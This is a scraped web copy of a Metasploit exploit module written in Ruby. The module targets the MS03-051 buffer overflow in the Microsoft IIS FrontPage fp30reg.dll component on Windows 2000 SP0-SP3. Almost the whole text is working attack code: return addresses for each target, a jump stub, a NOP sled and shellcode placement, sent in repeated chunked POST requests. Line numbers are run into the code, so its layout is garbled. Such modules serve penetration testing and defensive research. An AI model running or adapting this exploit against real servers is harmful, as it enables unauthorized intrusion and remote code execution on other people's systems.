Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/isapi/ms03_051_fp30reg_chunked.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(update_info(info,12'Name' => 'MS03-051 Microsoft IIS ISAPI FrontPage fp30reg.dll Chunked Overflow',13'Description' => %q{14This is an exploit for the chunked encoding buffer overflow15described in MS03-051 and originally reported by Brett16Moore. This particular modules works against versions of17Windows 2000 between SP0 and SP3. Service Pack 4 fixes the18issue.19},20'Author' => [ 'hdm' ],21'License' => MSF_LICENSE,22'References' =>23[24[ 'CVE', '2003-0822'],25[ 'OSVDB', '2952'],26[ 'BID', '9007'],27[ 'MSB', 'MS03-051'],28],29'Privileged' => false,30'Payload' =>31{32'Space' => 1024,33'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",34'StackAdjustment' => -3500,3536},37'Platform' => 'win',38'Targets' =>39[40['Windows 2000 SP0-SP3', { 'Ret' => 0x6c38a4d0 }], # from mfc42.dll41['Windows 2000 07/22/02', { 'Ret' => 0x67d44eb1 }], # from fp30reg.dll 07/22/200242['Windows 2000 10/06/99', { 'Ret' => 0x67d4665d }], # from fp30reg.dll 10/06/199943],44'DisclosureDate' => '2003-11-11',45'DefaultTarget' => 0))4647register_options(48[49OptString.new('URL', [ true, "The path to fp30reg.dll", "/_vti_bin/_vti_aut/fp30reg.dll" ]),50])51end5253def exploit5455print_status("Creating overflow request for fp30reg.dll...")5657pat = rand_text_alphanumeric(0xdead)58pat[128, 4] = [target.ret].pack('V')59pat[264, 4] = [target.ret].pack('V')6061# sub eax,0xfffffeff; jmp eax62pat[160, 7] = "\x2d\xff\xfe\xff\xff" + "\xff\xe0"6364pat[280, 512] = make_nops(512)65pat[792, payload.encoded.length] = payload.encoded66670.upto(15) do |i|6869if (i % 3 == 0)70print_status("Refreshing the remote dllhost.exe process...")7172res = send_request_raw({73'uri' => normalize_uri(datastore['URL'])74}, -1)7576if (res and res.body =~ /specified module could not be found/)77print_status("The server states that #{datastore['URL']} does not exist.\n")78return79end80end8182print_status("Trying to exploit fp30reg.dll (request #{i} of 15)")8384res = send_request_raw({85'uri' => normalize_uri(datastore['URL']),86'method' => 'POST',87'headers' =>88{89'Transfer-Encoding' => 'Chunked'90},91'data' => "DEAD\r\n#{pat}\r\n0\r\n"92}, 5)9394if (res and res.body =~ /specified module could not be found/)95print_status("The server states that #{datastore['URL']} does not exist.\n")96return97end9899handler100101select(nil,nil,nil,1)102end103end104105def check106print_status("Requesting the vulnerable ISAPI path...")107r = send_request_raw({108'uri' => normalize_uri(datastore['URL'])109}, -1)110111if (r and r.code == 501)112return Exploit::CheckCode::Detected113end114return Exploit::CheckCode::Safe115end116end117118119